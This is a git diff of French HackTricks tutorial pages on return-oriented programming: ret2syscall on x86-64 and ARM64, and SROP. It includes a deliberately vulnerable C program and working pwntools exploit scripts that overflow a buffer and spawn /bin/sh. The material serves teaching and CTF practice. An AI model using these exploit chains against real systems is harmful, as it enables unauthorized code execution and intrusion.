make the syscall + +pop rax, 0x3b +pop rdi, 0x6b6000 +pop rsi, 0x0 +pop rdx, 0x0 + +syscall +''' + +rop += popRax +rop += p64(0x3b) + +rop += popRdi +rop += p64(0x6b6000) + +rop += popRsi +rop += p64(0) +rop += popRdx +rop += p64(0) + +rop += syscall + + +# Add the padding to the saved return address +payload = "0"*0x408 + rop + +# Send the payload, drop to an interactive shell to use our new shell +target.sendline(payload) + +target.interactive() +``` +## Autres exemples et références + +* [https://guyinatuxedo.github.io/07-bof\_static/dcquals19\_speedrun1/index.html](https://guyinatuxedo.github.io/07-bof\_static/dcquals19\_speedrun1/index.html) +* 64 bits, pas de PIE, nx, écrire dans une certaine mémoire un ROP pour appeler `execve` et sauter là-bas. +* [https://guyinatuxedo.github.io/07-bof\_static/bkp16\_simplecalc/index.html](https://guyinatuxedo.github.io/07-bof\_static/bkp16\_simplecalc/index.html) +* 64 bits, nx, pas de PIE, écrire dans une certaine mémoire un ROP pour appeler `execve` et sauter là-bas. Pour écrire sur la pile, une fonction effectuant des opérations mathématiques est exploitée. +* [https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html](https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html) +* 64 bits, pas de PIE, nx, BF canary, écrire dans une certaine mémoire un ROP pour appeler `execve` et sauter là-bas. diff --git a/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/ret2syscall-arm64.md b/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/ret2syscall-arm64.md new file mode 100644 index 000000000..55c28fc20 --- /dev/null +++ b/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/ret2syscall-arm64.md @@ -0,0 +1,145 @@ +# Ret2syscall - ARM64 + +
+ +Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! + +Autres façons de soutenir HackTricks: + +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. + +
+ +Trouvez une introduction à arm64 dans: + +{% content-ref url="../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md" %} +[arm64-basic-assembly.md](../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md) +{% endcontent-ref %} + +## Code + +Nous allons utiliser l'exemple de la page: + +{% content-ref url="../../stack-overflow/ret2win/ret2win-arm64.md" %} +[ret2win-arm64.md](../../stack-overflow/ret2win/ret2win-arm64.md) +{% endcontent-ref %} +```c +#include +#include + +void win() { +printf("Congratulations!\n"); +} + +void vulnerable_function() { +char buffer[64]; +read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability +} + +int main() { +vulnerable_function(); +return 0; +} +``` +Compilez sans l'option pie et sans canary : +```bash +clang -o ret2win ret2win.c -fno-stack-protector +``` +## Gadgets + +Pour préparer l'appel du **syscall**, la configuration suivante est nécessaire : + +- `x8: 221 Spécifier sys_execve` +- `x0: ptr vers "/bin/sh" spécifier le fichier à exécuter` +- `x1: 0 spécifier aucun argument passé` +- `x2: 0 spécifier aucun variable d'environnement passé` + +En utilisant ROPgadget.py, j'ai pu localiser les gadgets suivants : + +{% code overflow="wrap" %} +```armasm +;Load x0, x1 and x3 from stack and x5 and call x5 +0x0000000000114c30: +ldp x3, x0, [sp, #8] ; +ldp x1, x4, [sp, #0x18] ; +ldr x5, [sp, #0x58] ; +ldr x2, [sp, #0xe0] ; +blr x5 + +;Move execve syscall (0xdd) to x8 and call it +0x00000000000bb97c : +nop ; +nop ; +mov x8, #0xdd ; +svc #0 +``` +{% endcode %} + +Avec les gadgets précédents, nous pouvons contrôler tous les registres nécessaires à partir de la pile et utiliser x5 pour sauter vers le deuxième gadget afin d'appeler le syscall. + +### Exploit +```python +from pwn import * + +p = process('./ret2syscall') +elf = context.binary = ELF('./ret2syscall') +libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6") +libc.address = 0x0000fffff7df0000 # ASLR disabled +binsh = next(libc.search(b"/bin/sh")) + +stack_offset = 72 + +#0x0000000000114c2c : bl #0x133070 ; ldp x3, x0, [sp, #8] ; ldp x1, x4, [sp, #0x18] ; ldr x5, [sp, #0x58] ; ldr x2, [sp, #0xe0] ; blr x5 +load_x0_x1_x2 = libc.address + 0x114c30 # ldp x3, x0, [sp, #8] ; ldp x1, x4, [sp, #0x18] ; ldr x5, [sp, #0x58] ; ldr x2, [sp, #0xe0] ; blr x5 + +# 0x00000000000bb97c : nop ; nop ; mov x8, #0xdd ; svc #0 +call_execve = libc.address + 0xbb97c + +print("/bin/sh in: " + hex(binsh)) +print("load_x0_x1_x2 in: " + hex(load_x0_x1_x2)) +print("call_execve in: " + hex(call_execve)) + +# stack offset +bof = b"A" * (stack_offset) +bof += p64(load_x0_x1_x2) + +# ldp x3, x0, [sp, #8] +rop = b"BBBBBBBBBBBBBBBB" #x3 +rop += p64(binsh) #x0 + +# ldp x1, x4, [sp, #0x18] +rop += b"C"*(0x18 - len(rop)) +rop += p64(0x00) # x1 +rop += b"CCCCCCCC" #x4 + +# ldr x5, [sp, #0x58] +rop += b"D"*(0x58 - len(rop)) +rop += p64(call_execve) # x5 + +# ldr x2, [sp, #0xe0] +rop += b"E" * (0xe0 - len(rop)) +rop += p64(0x00) # x2 + +payload = bof + rop + +p.sendline(payload) + +p.interactive() +``` +
+ +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert Red Team AWS de HackTricks)! + +D'autres façons de soutenir HackTricks: + +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub. + +
diff --git a/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming.md b/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming.md index cb7177b55..fb1b35340 100644 --- a/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming.md +++ b/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming.md @@ -10,17 +10,17 @@ Autres façons de soutenir HackTricks : - Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) - Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) - **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -- **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub. +- **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. ## Informations de base -**`Sigreturn`** est un **syscall** spécial principalement utilisé pour nettoyer après l'exécution d'un gestionnaire de signal. Les signaux sont des interruptions envoyées à un programme par le système d'exploitation, souvent pour indiquer qu'une situation exceptionnelle s'est produite. Lorsqu'un programme reçoit un signal, il met temporairement en pause son travail en vue de gérer le signal avec un **gestionnaire de signal**, une fonction spéciale conçue pour traiter les signaux. +**`Sigreturn`** est un **syscall** spécial principalement utilisé pour nettoyer après l'exécution d'un gestionnaire de signal. Les signaux sont des interruptions envoyées à un programme par le système d'exploitation, souvent pour indiquer qu'une situation exceptionnelle s'est produite. Lorsqu'un programme reçoit un signal, il met temporairement en pause son travail en cours pour gérer le signal avec un **gestionnaire de signal**, une fonction spéciale conçue pour traiter les signaux. Après que le gestionnaire de signal ait terminé, le programme doit **reprendre son état précédent** comme si rien ne s'était passé. C'est là que **`sigreturn`** entre en jeu. Il aide le programme à **revenir du gestionnaire de signal** et à restaurer l'état du programme en nettoyant le cadre de la pile (la section de mémoire qui stocke les appels de fonctions et les variables locales) qui a été utilisé par le gestionnaire de signal. -La partie intéressante est la manière dont **`sigreturn`** restaure l'état du programme : il le fait en stockant **toutes les valeurs des registres du CPU sur la pile**. Lorsque le signal n'est plus bloqué, **`sigreturn` dépile ces valeurs**, réinitialisant ainsi les registres du CPU à leur état avant que le signal ne soit traité. Cela inclut le registre du pointeur de pile (RSP), qui pointe vers le sommet actuel de la pile. +La partie intéressante est la façon dont **`sigreturn`** restaure l'état du programme : il le fait en stockant **toutes les valeurs des registres du CPU sur la pile**. Lorsque le signal n'est plus bloqué, **`sigreturn` dépile ces valeurs**, réinitialisant ainsi les registres du CPU à leur état avant que le signal ne soit traité. Cela inclut le registre du pointeur de pile (RSP), qui pointe vers le sommet actuel de la pile. {% hint style="danger" %} Appeler le syscall **`sigreturn`** à partir d'une chaîne ROP et **ajouter les valeurs des registres** que nous aimerions qu'il charge dans la **pile** permet de **contrôler** toutes les valeurs des registres et donc d'**appeler** par exemple le syscall `execve` avec `/bin/sh`. @@ -28,8 +28,8 @@ Appeler le syscall **`sigreturn`** à partir d'une chaîne ROP et **ajouter les Remarquez comment il s'agit d'un **type de Ret2syscall** qui facilite grandement le contrôle des paramètres pour appeler d'autres Ret2syscalls : -{% content-ref url="rop-syscall-execv.md" %} -[rop-syscall-execv.md](rop-syscall-execv.md) +{% content-ref url="rop-syscall-execv/" %} +[rop-syscall-execv](rop-syscall-execv/) {% endcontent-ref %} Si vous êtes curieux, voici la **structure sigcontext** stockée dans la pile pour récupérer ultérieurement les valeurs (diagramme provenant de [**ici**](https://guyinatuxedo.github.io/16-srop/backdoor\_funsignals/index.html)): @@ -101,7 +101,7 @@ payload += bytes(frame) p.sendline(payload) p.interactive() ``` -Consultez également l'[**exploit à partir d'ici**](https://guyinatuxedo.github.io/16-srop/csaw19\_smallboi/index.html) où le binaire appelait déjà `sigreturn` et il n'est donc pas nécessaire de le construire avec un **ROP**: +Consultez également l'[**exploit à partir d'ici**](https://guyinatuxedo.github.io/16-srop/csaw19\_smallboi/index.html) où le binaire appelait déjà `sigreturn` et il n'est donc pas nécessaire de le construire avec un **ROP** : ```python from pwn import * @@ -139,10 +139,10 @@ target.interactive() * [https://youtu.be/ADULSwnQs-s?feature=shared](https://youtu.be/ADULSwnQs-s?feature=shared) * [https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop) * [https://guyinatuxedo.github.io/16-srop/backdoor\_funsignals/index.html](https://guyinatuxedo.github.io/16-srop/backdoor\_funsignals/index.html) -* Programme binaire en assembleur qui permet d'**écrire sur la pile** puis appelle l'appel système **`sigreturn`**. Il est possible d'écrire sur la pile une [**ret2syscall**](rop-syscall-execv.md) via une structure **sigreturn** et de lire le drapeau qui se trouve dans la mémoire du binaire. +* Programme binaire en assembleur qui permet d'**écrire sur la pile** puis appelle l'appel système **`sigreturn`**. Il est possible d'écrire sur la pile une [**ret2syscall**](rop-syscall-execv/) via une structure **sigreturn** et de lire le drapeau qui se trouve dans la mémoire du binaire. * [https://guyinatuxedo.github.io/16-srop/csaw19\_smallboi/index.html](https://guyinatuxedo.github.io/16-srop/csaw19\_smallboi/index.html) -* Programme binaire en assembleur qui permet d'**écrire sur la pile** puis appelle l'appel système **`sigreturn`**. Il est possible d'écrire sur la pile une [**ret2syscall**](rop-syscall-execv.md) via une structure **sigreturn** (le binaire contient la chaîne `/bin/sh`). +* Programme binaire en assembleur qui permet d'**écrire sur la pile** puis appelle l'appel système **`sigreturn`**. Il est possible d'écrire sur la pile une [**ret2syscall**](rop-syscall-execv/) via une structure **sigreturn** (le binaire contient la chaîne `/bin/sh`). * [https://guyinatuxedo.github.io/16-srop/inctf17\_stupidrop/index.html](https://guyinatuxedo.github.io/16-srop/inctf17\_stupidrop/index.html) -* 64 bits, pas de relro, pas de canary, nx, pas de pie. Dépassement de tampon simple exploitant la fonction `gets` avec un manque de gadgets qui effectue un [**ret2syscall**](rop-syscall-execv.md). La chaîne ROP écrit `/bin/sh` dans le `.bss` en appelant à nouveau gets, elle exploite la fonction **`alarm`** pour définir eax sur `0xf` pour appeler un **SROP** et exécuter un shell. +* 64 bits, pas de relro, pas de canary, nx, pas de pie. Dépassement de tampon simple exploitant la fonction `gets` avec un manque de gadgets qui effectue un [**ret2syscall**](rop-syscall-execv/). La chaîne ROP écrit `/bin/sh` dans le `.bss` en appelant à nouveau gets, elle exploite la fonction **`alarm`** pour définir eax sur `0xf` pour appeler un **SROP** et exécuter un shell. * [https://guyinatuxedo.github.io/16-srop/swamp19\_syscaller/index.html](https://guyinatuxedo.github.io/16-srop/swamp19\_syscaller/index.html) -* Programme en assembleur 64 bits, pas de relro, pas de canary, nx, pas de pie. Le flux permet d'écrire dans la pile, de contrôler plusieurs registres, d'appeler un appel système puis d'appeler `exit`. L'appel système sélectionné est un `sigreturn` qui définira les registres et déplacera `eip` pour appeler une instruction d'appel système précédente et exécuter `memprotect` pour définir l'espace binaire en `rwx` et définir l'ESP dans l'espace binaire. En suivant le flux, le programme appellera à nouveau read dans ESP, mais dans ce cas, ESP pointera vers l'instruction suivante, donc passer un shellcode l'écrira comme instruction suivante et l'exécutera. +* Programme en assembleur 64 bits, pas de relro, pas de canary, nx, pas de pie. Le flux permet d'écrire dans la pile, de contrôler plusieurs registres, d'appeler un appel système puis d'appeler `exit`. L'appel système sélectionné est un `sigreturn` qui définira les registres et déplacera `eip` pour appeler une instruction d'appel système précédente et exécuter `memprotect` pour définir l'espace binaire en `rwx` et définir l'ESP dans l'espace binaire. En suivant le flux, le programme appellera à nouveau read dans ESP, mais dans ce cas, ESP pointera vers l'instruction suivante, donc passer un shellcode écrira celui-ci comme instruction suivante et l'exécutera.